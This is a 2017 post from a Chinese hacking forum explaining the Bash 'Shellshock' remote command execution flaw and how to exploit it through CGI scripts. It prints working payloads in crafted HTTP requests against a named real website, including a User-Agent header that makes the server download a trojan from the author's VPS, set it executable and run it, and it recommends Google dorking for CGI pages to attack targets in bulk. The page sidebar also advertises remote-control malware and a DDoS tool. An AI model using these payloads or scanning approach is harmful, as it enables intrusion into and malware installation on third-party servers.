HACK80

我们很年轻,但我们有信念、有梦想!

我们坚信只有今天付出了,才有机会看到明天的太阳!
现在!加入我们,给你一个气氛优秀的技术圈子

作者: qq850224169
查看: 139|回复: 0

more +随机图赏Gallery

2017年中旬WEB渗透系列课程-27HASH提权2017年中旬WEB渗透系列课程-27HASH提权
2017年中旬WEB渗透系列课程-01HTTP协议2017年中旬WEB渗透系列课程-01HTTP协议
福利来了:cc攻击器+IP代理工具福利来了:cc攻击器+IP代理工具
2017年中旬WEB渗透系列课程-00前言2017年中旬WEB渗透系列课程-00前言
2017年中旬WEB渗透系列课程-19文件包含与目录遍历2017年中旬WEB渗透系列课程-19文件包含与目录遍历
2017年中旬WEB渗透系列课程-18上传绕过方法演示2017年中旬WEB渗透系列课程-18上传绕过方法演示
2017年中旬WEB渗透系列课程-17了解上传检测方式2017年中旬WEB渗透系列课程-17了解上传检测方式
HACK80远控 免杀的 账号密码打包 每天都发账号 回帖要。可改密码!HACK80远控 免杀的 账号密码打包 每天都发账号 回帖要。可改密码!
2017年中旬WEB渗透系列课程-16解析漏洞演示2017年中旬WEB渗透系列课程-16解析漏洞演示
2017年中旬WEB渗透系列课程-15XSS绕过集合2017年中旬WEB渗透系列课程-15XSS绕过集合

Bash远程解析命令执行漏洞测试方法

[复制链接]
qq850224169 发表于 2017-10-12 16:40:56 | 显示全部楼层 |阅读模式
查看: 139|回复: 0

马上注册,加入HACK80!与我们一起交流。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
这个从澳大利亚远渡重洋而来的BASH远程命令执行漏洞就沸腾了整个FreeBuf,大家都在谈论,“互联网的心脏又出血了”,可是,亲,到底怎么对网站进行测试?下面这段脚本
  1. $ env x=‘() { :;}; echo vulnerable'  bash -c "echo this is a test"
复制代码

真的如各路大神们说的这样吗?
它与“心脏出血”漏洞不同,“心脏出血”只能借助窃取用户电脑信息,而bash 漏洞允许黑客远程控制电脑,拿到系统最高权限!其方法利用就更简单了——复制/粘贴一行命令代码即可!
Bash漏洞为什么能够执行

Bash漏洞的原理:

BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!当前版本的bash通过以函数名作为环境变量名,以“(){”开头的字串作为环境变量的值来将函数定义导出为环境变量。

此次爆出的漏洞在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。


简单地说就是,Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令。
Bash漏洞与远程执行有啥联系
看到上面的解释,很多童鞋都理解成了本地的漏洞,然后很多人又觉得,本地有啥可以利用的,于是就忽略了这个神级漏洞的存在。我想说的是,这个漏洞,利用热度可以媲美当年的MS08-067,威力虽然弱了点,但远程控制电脑还是可以的。
首先解释一下cgi脚本。很多网站类似下面的链接:
  1. GET http://help.tenpay.com/cgi-bin/helpcenter/help_center.cgi?id=20HTTP/1.1
复制代码
后台不仅仅用python、Perl来解释执行并反馈给客户端Response,当然还可以换做bash脚本来解释执行提交上来的GET/POST请求。所以,理论上,你在HTTP请求中插入一个Bash命令,比如
  1. () { :;}; wget http://www.myvps.org/testvul.sh
复制代码
如果服务器的Bash解释器具有这个漏洞,那么在解释上面这这句话的时候就会执行wget请求,将一个恶意的testvul.sh文件下载到这个服务器,那为何说要放在HTTP头部呢?比如:
  1. GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
  2. Host: help.tenpay.com
  3. User-Agent: Mozilla/5.0 (X11; Ubuntu; rv:32.0) Gecko/20100101 Firefox/32.0
  4. Accept: */*
  5. Referer: http://www.baidu.com
  6. Connection: keep-alive
复制代码

这是因为这个漏洞是bash解释器在解释某些特殊的变量时才可以触发的:
在于BASH处理以“(){”开头的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令
通过自定义这些参数的值为“函数环境变量”的形式,就可以触发后面的命令,恶意的客户仅需要发送特殊构造的HTTP请求就可以使服务器执行特定的命令(命令的权限和解释HTTP请求的Bash脚本环境相同)。
实际测试中,我的构造的测试请求:
  1. GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
  2. Host: help.tenpay.com
  3. User-Agent: () { :;}; /usr/bin/wget http://myvps.org/remember_client_ip.php
  4. Accept: */*
  5. Referer: http://www.baidu.com
  6. Connection: keep-alive
复制代码

过程是这样的:
我发送GET请求–>目标服务器cgi路径
目标服务器解析这个get请求,碰到UserAgent后面的参数,Bash解释器就执行了后面的命令
目标服务器wget–>我的myvps.org
我的vps记录下这个访问的IP地址
然后查看我的myvps.org服务器的访问记录,就可以确定目标有没有去访问,如果访问了,那么,很好,它是有漏洞的。下面是我的VPS接收到的wget请求访问的日志:
141171000899121.png
大神是这样测试漏洞的
当然,你也可以这样构造:
  1. GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
  2. Host: help.tenpay.com
  3. User-Agent: () { :;}; /usr/bin/wget -O /tmp/muma.sh   ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh
  4. Accept: */*
  5. Referer: http://www.baidu.com
  6. Connection: keep-alive
复制代码
实际上执行了下面三句:
  1. /usr/bin/wget -O /tmp/muma.sh  http://myvps.org/muma.sh ;
  2. chmod 777 /tmp/muma.sh;
  3. ./tmp/muma.sh
复制代码

你会发现,你的木马就这么脚本了,这就是Bash漏洞利用的精髓。
当然,你可以利用批量Google搜索:
filetype:cgi inurl:cgi-bin site:jp
然后批量提交类似的GET请求,你就能做到批量测试了。测试表明,500个url里有6-8个有bash漏洞

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|手机版|HACK80 ( 沪ICP备15007512号 )

GMT+8, 2017-12-18 01:25 , Processed in 0.066722 second(s), 27 queries .

Powered by Discuz! X3.4 © 2001-2013 Comsenz Inc.